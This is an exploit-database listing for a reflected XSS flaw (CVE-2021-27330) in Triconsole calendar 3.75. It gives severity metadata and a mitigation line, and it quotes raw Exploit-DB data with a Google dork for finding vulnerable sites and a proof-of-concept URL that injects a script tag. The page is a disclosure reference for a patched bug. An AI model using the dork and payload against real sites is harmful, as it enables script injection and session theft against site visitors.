header-logo
Suggest Exploit
vendor:
Triconsole
by:
Akash Chathoth
8.8
CVSS
HIGH
Reflected XSS
79
CWE
Product Name: Triconsole
Affected Version From: 3.75
Affected Version To: < 3.76
Patch Exists: YES
Related CWE: 2021-27330
CPE: triconsole.com/php/calendar_datepicker.php
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: 3.75
2021

Triconsole 3.75 – Reflected XSS

Triconsole 3.75 is vulnerable to Reflected XSS. An attacker can inject malicious JavaScript code into the application by crafting a malicious URL and sending it to the victim. The malicious code will be executed in the victim's browser when the URL is accessed.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the application.
Source

Exploit-DB raw data:

# Exploit Title: Triconsole 3.75 - Reflected XSS
# Google Dork: inurl : /calendar/calendar_form.php
# Date: 15/2/2021
# Exploit Author: Akash Chathoth
# Vendor Homepage: http://www.triconsole.com/
# Software Link: http://www.triconsole.com/php/calendar_datepicker.php
# Version: < 3.76 (14 February 2021)
# Tested on: 3.75
# CVE: 2021-27330

# Exploit : http://exapmle.com/calendar_form.php/"><script>alert(document.domain)</script>

Navigation

Suggest Exploit

Services By CQR